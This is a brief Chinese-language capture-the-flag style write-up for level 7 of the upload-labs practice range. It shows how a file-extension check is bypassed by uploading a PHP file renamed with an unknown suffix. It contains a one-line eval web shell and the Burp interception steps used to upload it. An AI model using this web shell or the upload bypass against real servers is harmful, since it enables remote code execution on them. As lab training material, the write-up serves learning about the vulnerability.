upload-labs靶场未知后缀名解析漏洞

upload-labs靶场未知后缀名解析漏洞

版本影响：

phpstudy 版本：5.2.17

​

1 环境搭建

1.1 在线靶场下载，解压到phpstudy的www目录下，即可使用

https://github.com/c0ny1/upload-labs

1.2 已启动：访问端口9000，端口自设，打开页面选择第七关

http://192.168.225.194:9000/upload_labs/

2 漏洞复现

2.1 上传1.php文件，文件内容如下,显示上传错误，使用bp上传

<?php @eval($_REQUEST[777]);phpinfo();?>

2.2 使用bp转发

修改php后缀和文件内容类型，进行转发，返回信息提示上传成功

访问不能执行

结论php可以上传，php的不能上传，做了黑白名单策略，验证使用白名单或者是黑名单，随便给个后缀testtest

上传1.php.testtest成功